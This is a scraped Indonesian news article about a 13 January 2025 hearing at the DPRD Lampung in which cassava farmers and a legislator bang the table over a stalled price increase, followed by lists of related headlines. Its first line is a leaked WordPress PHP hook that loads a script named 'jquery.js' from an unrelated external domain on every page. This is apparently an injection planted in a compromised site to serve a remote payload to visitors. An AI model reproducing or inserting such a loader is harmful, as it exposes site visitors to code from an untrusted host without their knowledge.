add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Audiensi DPRD Lampung dan Petani Singkong Memanas, Gebrak Meja Warnai Pembahasan Harga - Atmosfirnews.id

Audiensi DPRD Lampung dan Petani Singkong Memanas, Gebrak Meja Warnai Pembahasan Harga

- Jurnalis

Senin, 13 Januari 2025 - 20:14 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bandar Lampung, Atmosfirnews.id

Audiensi antara perwakilan petani singkong dan Tim Pansus Tata Niaga Singkong di Ruang Rapat Komisi DPRD Lampung, Senin (13/1/2025), berlangsung panas dan berujung ricuh.

Ketegangan memuncak saat kedua pihak membahas janji kenaikan harga singkong yang tak kunjung terealisasi.

Kericuhan bermula ketika Koordinator Petani Singkong Lampung Timur, Maradoni, dengan tegas meminta kepastian kenaikan harga singkong dari Rp 1.100–Rp 1.200 per kilogram menjadi Rp 1.400 per kilogram. K

Kenaikan harga tersebut sebelumnya dijanjikan oleh Penjabat (Pj) Gubernur Lampung Samsudin. Namun, jawaban dari Tim Pansus yang dinilai tidak jelas memancing emosi Maradoni.

“Kalau memang tidak ada kepastian, buat apa kita di sini? Kami sudah lama menunggu janji ini!” ujar Maradoni sambil menggebrak meja, yang sontak membuat suasana rapat memanas.

Baca Juga :  Amunisi Ilegal Dijual Via Platform Digital, Disamarkan Sebagai Mur dan Baut

Situasi semakin panas ketika anggota DPRD Lampung, Budi Condrowati, yang juga hadir dalam audiensi, menyatakan pandangannya dengan nada tinggi.

“Ini keadaannya mendesak! Perda harus segera dibuat. Saya juga petani singkong, jadi saya tahu betapa pentingnya ini bagi kita semua!” ucap Budi sambil ikut menggebrak meja.

Pernyataan Budi justru membuat para petani yang hadir semakin emosi. Beberapa dari mereka mencoba mendekati meja Budi, tetapi Satpol PP yang bertugas di ruangan segera bertindak menghalau dan menenangkan situasi. Untuk meredakan suasana, Budi akhirnya diminta keluar dari ruang rapat.

Ketua Persatuan Petani Ubi Kayu Indonesia (PPUKI), Dasrul Aswin, menegaskan bahwa petani hanya meminta kepastian hukum atas kebijakan kenaikan harga singkong.

Baca Juga :  Aksi di DPRD Lampung, Satlantas Alihkan Arus Lalu Lintas dan Imbau Warga Tunda Perjalanan

“Selama ini hanya ada surat tanpa kekuatan hukum. Kami minta agar pemerintah memastikan, jika perusahaan tidak melaksanakan kesepakatan, ada sanksi tegas,” tegas Dasrul.

Kericuhan di DPRD ini menjadi puncak dari serangkaian aksi protes petani singkong di Lampung. Sebelumnya, ribuan petani dari tujuh kabupaten menggelar aksi unjuk rasa di depan Kantor Gubernur Lampung, mendesak pemerintah merealisasikan janji kenaikan harga singkong.

Para petani berharap, hasil audiensi ini dapat menghasilkan solusi konkret dan kebijakan yang benar-benar berpihak pada kesejahteraan mereka. “Kami hanya ingin keadilan. Janji itu harus ditepati,” kata salah satu petani yang hadir.

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 36 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru